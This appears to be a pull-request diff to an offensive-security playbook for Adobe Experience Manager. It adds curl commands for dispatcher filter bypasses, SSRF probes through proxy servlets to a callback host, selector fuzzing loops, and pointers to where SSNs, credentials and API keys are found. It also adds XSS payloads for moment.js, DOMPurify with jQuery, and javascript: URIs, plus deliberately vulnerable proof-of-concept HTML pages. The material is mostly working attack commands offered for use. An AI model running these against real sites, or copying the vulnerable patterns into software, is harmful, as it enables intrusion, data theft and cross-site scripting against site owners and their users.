Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
Expand Up @@ -130,15 +130,15 @@ curl -sk "https://TARGET/etc/packages.json"
curl -sk "https://TARGET/crx/packmgr/list.jsp"
```

**Sensitive data locations:** Employee lists with SSNs, plaintext credentials, IP inventories, architecture docs, and "strictly confidential" documents regularly found under `/content` and `/content/dam`.
**Sensitive data locations:** Employee lists with SSNs, plaintext credentials, IP inventories, architecture docs, and "strictly confidential" documents regularly found under `/content`, `/content/dam`, and `/var`. Financial institutions: pre-disclosure earnings reports in `/content` = insider-trading-grade impact. `/etc/packages` may contain source code, DB credentials, and API keys (Akamai keys = full WAF control + origin pivoting).

## 5. Default permissions footgun

The anonymous user belongs to the `everyone` group by default. Every "open to all users" JCR ACL also applies to unauthenticated visitors. Test:

```bash
# Check anonymous access to /libs, /apps, /etc
for path in /libs /apps /etc /content /home; do
# Check anonymous access to /libs, /apps, /etc, /var
for path in /libs /apps /etc /content /home /var; do
code=$(curl -sk -o /dev/null -w "%{http_code}" "https://TARGET${path}.1.json")
echo "$path → $code"
done
Expand Down Expand Up @@ -192,9 +192,9 @@ See [xss-gadgets.md](xss-gadgets.md) for moment.js format injection, jQuery `.te
**Key check:** If dispatcher blocks are the only defense, they can be bypassed. If JCR ACLs are in place, selector abuse hits 403 at the Sling layer — game over.

## Chain With
- `hopgoblin` (automated CVE scan first, then manual exploitation here)
- `apache-confusion-attacks` (if Apache httpd fronts AEM dispatcher)
- `403-bypass` (dispatcher returns 403, try header/path manipulation)
- `dom-vulnerability-detection` (for AEM-specific XSS gadgets in client JS)
- `parser-differential-bypass` (dispatcher vs Sling parsing differences)
- `write-path-to-rce` (if file write is achievable on AMS instances)
- **hopgoblin** (external tool) — automated AEM CVE scanner, run first for known vulns
Original file line number Diff line number Diff line change
Expand Up @@ -3,19 +3,62 @@
When direct paths are blocked, use selector/suffix manipulation:

```bash
# Extension confusion
# Extension confusion — dispatcher allows static extensions, Sling drops unrecognized ones
curl -sk "https://TARGET/bin/querybuilder.json" # blocked
curl -sk "https://TARGET/content/dam.form.css/bin/querybuilder.json" # bypass via form suffix
curl -sk "https://TARGET/libs/dam/merge/metadata.css?path=/etc" # extension confusion on merge servlet
curl -sk "https://TARGET/libs/dam/merge/metadata.css?path=<img+src=x+onerror=alert(1)>&.html" # force HTML via suffix

# Selector stacking
curl -sk "https://TARGET/content/page.listParagraphs.html" # blocked
curl -sk "https://TARGET/content/page.form.js/content/page.listParagraphs.html" # form → listParagraphs

# Path encoding
# Double bypass chain anatomy:
# /content/site/page.form.js/content/site/page.listParagraphs.html?itemResourceType=...&path=<XSS>
# ├─ Dispatcher sees ".form.js" (allowed static extension) ──────────────────────────────────────┐
# ├─ Sling forwards suffix as new request path: /content/site/page.listParagraphs.html │
# └─ listParagraphs resolves /libs JSP internally (second bypass) ──── XSS executes ─────────────┘

# Encoded slash bypass (%2F) — bypasses dispatcher path filters
curl -sk "https://TARGET/%2fbin%2fquerybuilder.json?path=/etc"
curl -sk "https://TARGET/%2fetc%2ftruststore.json"

# Path encoding variants
curl -sk "https://TARGET/content/dam.form.css/bin/querybuilder.json"
curl -sk "https://TARGET/content/dam.form.css/%62in/querybuilder.json"

# Semicolon path parameters (Sling ignores, dispatcher may not parse)
curl -sk "https://TARGET/bin/querybuilder.json;.css"
curl -sk "https://TARGET/bin/querybuilder.json;x=.ico"
```

## SSRF via AEM Proxy Servlets

```bash
# Opensocial/Shindig proxy (common on older AEM)
curl -sk "https://TARGET/libs/opensocial/proxy?container=default&url=http://CALLBACK"
curl -sk "https://TARGET/libs/shindig/proxy?container=default&url=http://CALLBACK"

# ReportingServicesProxyServlet (CVE-2018-12809)
curl -sk "https://TARGET/libs/ca/contentinsight/content/proxy.reportingservices.json?url=http://CALLBACK"
curl -sk "https://TARGET/libs/mcm/salesforce/customer.json?checkType=authorize&authorization_url=http://CALLBACK"

# SiteCatalystServlet SSRF
curl -sk "https://TARGET/libs/cq/analytics/components/sitecatalystpage/segments.json.servlet"
curl -sk "https://TARGET/libs/cq/analytics/templates/sitecatalyst/jcr:content.segments.json"
```

## Error-Path Selector Chaining Strategy

When one selector is blocked by dispatcher rules, fuzz for a second selector producing reflection on a different error code path. Different HTTP status codes (400, 403, 404, 500) may route through different error handlers with different filtering:

```bash
# If rawcontent alone is blocked, savedsearch produces 400 errors with path reflection
curl -sk "https://TARGET/content/nonexistent.savedsearch.rawcontent.html"

# Brute-force error-path selectors
for sel in savedsearch feed model tidy childrenlist; do
code=$(curl -sk -o /dev/null -w "%{http_code}" "https://TARGET/content/nonexistent.${sel}.rawcontent.html")
echo "$sel → $code"
done
```
Original file line number Diff line number Diff line change
@@ -0,0 +1,45 @@
<!DOCTYPE html>
<html>
<head>
</head>
<body>
<div class="poc-container">
<h1 class="poc-title">URL XSS Tester</h1>
<div class="poc-controls">
<input id="test" type="text" placeholder="Enter a URL to test" />
<button id="submit">Submit</button>
</div>
<div id="output"></div>
</div>

<script>
function runTest(value) {
let parsed;
try { parsed = new URL(value); } catch (e) { return; }

if (parsed.hostname === 'example.com' && parsed.pathname.startsWith('/anything')) {
window.open(value);
}

const params = new URLSearchParams(window.location.search);
params.set('value', value);
history.replaceState(null, '', '?' + params.toString());
}

document.getElementById('submit').addEventListener('click', function () {
runTest(document.getElementById('test').value);
});

document.getElementById('test').addEventListener('keydown', function (e) {
if (e.key === 'Enter') runTest(this.value);
});

const params = new URLSearchParams(window.location.search);
const qsValue = params.get('value');
if (qsValue !== null) {
document.getElementById('test').value = qsValue;
runTest(qsValue);
}
</script>
</body>
</html>
Original file line number Diff line number Diff line change
@@ -0,0 +1,47 @@
<!DOCTYPE html>
<html>
<head>
<script src="https://code.jquery.com/jquery-3.7.1.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/dompurify@3.1.5/dist/purify.min.js"></script>
</head>
<body>
<div class="poc-container">
<h1 class="poc-title">Text XSS Tester</h1>
<div class="poc-controls">
<input id="test" type="text" placeholder="Enter a value to test" />
<button id="submit">Submit</button>
</div>
<div id="output"></div>
</div>

<script>
function runTest(value) {
const cleanValue = DOMPurify.sanitize(value);
const $clean = $('<div>' + cleanValue + '</div>');
const text = $clean.text();
document.getElementById('output').innerHTML = text;

const params = new URLSearchParams(window.location.search);
params.set('value', value);
history.replaceState(null, '', '?' + params.toString());
}

$('#submit').on('click', function () {
runTest($('#test').val());
});

$('#test').on('keydown', function (e) {
if (e.key === 'Enter') {
runTest($(this).val());
}
});

const params = new URLSearchParams(window.location.search);
const qsValue = params.get('value');
if (qsValue !== null) {
$('#test').val(qsValue);
runTest(qsValue);
}
</script>
</body>
</html>
Original file line number Diff line number Diff line change
@@ -0,0 +1,51 @@
<!DOCTYPE html>
<html>
<head>
<title>Just a moment...</title>
<script src="https://cdn.jsdelivr.net/npm/moment@2.29.4/moment.min.js"></script>
</head>
<body>

<div class="card">
<h2>Date Formatter</h2>

<form method="GET">
<label>Date</label>
<input type="date" id="dateInput" name="date">

<label>Format</label>
<select id="formatSelect" name="format">
<option value="DD/MM/YYYY">DD/MM/YYYY</option>
<option value="MM/DD/YYYY">MM/DD/YYYY</option>
<option value="YYYY-MM-DD">YYYY-MM-DD</option>
<option value="dddd, MMMM Do YYYY">Full textual</option>
<option value="MMM Do, YYYY">Short textual</option>
</select>

<button type="submit">Format Date</button>
</form>

<div class="output" id="output"></div>
</div>

<script>
const params = new URLSearchParams(window.location.search);

const today = moment().format("YYYY-MM-DD");
const defaultFormat = "DD/MM/YYYY";

const dateParam = params.get("date") || today;
const formatParam = params.get("format") || defaultFormat;

document.getElementById("dateInput").value = dateParam;
document.getElementById("formatSelect").value = formatParam;

// Use query string params directly for formatting
const formatted = moment(dateParam).format(formatParam);

// Yeah innerHTML is bad....but it's a formatted date. So 100% super safe.
document.getElementById("output").innerHTML = formatted;
</script>

</body>
</html>
Original file line number Diff line number Diff line change
@@ -1,12 +1,19 @@
# AEM-Specific XSS Gadgets

These gadgets apply to AEM sites and beyond — any webapp using these libraries. Source: Jim Green (600+ AEM CVEs).

### moment.js format injection
If user input controls `moment().format()` argument and output hits innerHTML:
```javascript
moment().format("[<img src=x onerror=alert(document.domain)>]")
// Square brackets = literal output in moment.js format strings
// moment.js is deprecated but extremely common in AEM clientlibs
```

**Detection:** Search AEM clientlibs for `moment(` imports. Check if any format string derives from user input (URL params, form fields, API responses).

**PoC:** [moment-format-xss.html](pocs/moment-format-xss.html) — loads moment.js from CDN, format param from query string.

### jQuery .text() entity re-decoding
Post-DOMPurify bypass chain:
```javascript
Expand All @@ -20,6 +27,12 @@ el.innerHTML = text; // re-parses as HTML → XSS
// DOMPurify sees entities (safe) → browser decodes → .text() reads raw tags → innerHTML executes
```

**Detection:** Search AEM clientlibs for `DOMPurify.sanitize` followed by `.text()` or `.textContent` flowing back into `innerHTML`, `.html()`, or `document.write`. Also check `.val()` reads that get re-rendered.

**Key insight:** "Always check what happens to sanitized output when read back via `.text()`, `.val()`, `.textContent`"

**PoC:** [jquery-text-dompurify-bypass.html](pocs/jquery-text-dompurify-bypass.html) — DOMPurify + jQuery `.text()` chain.

### javascript: URI property population
```javascript
let u = new URL("javascript://example.com:443/path?key=val#frag%0aalert(document.domain)");
Expand All @@ -28,3 +41,7 @@ let u = new URL("javascript://example.com:443/path?key=val#frag%0aalert(document
// u.port === "443" (passes port checks)
// After javascript: scheme is stripped, // starts a JS single-line comment. %0a newline ends it. Code after executes.
```

**Detection:** Search for `new URL(` combined with hostname/pathname validation before `window.open()`, `location.href`, or link `href` assignment. Common in redirect handlers and OAuth flows on AEM sites.

**PoC:** [javascript-uri-validation-bypass.html](pocs/javascript-uri-validation-bypass.html) — URL constructor validation + `window.open`.
Loading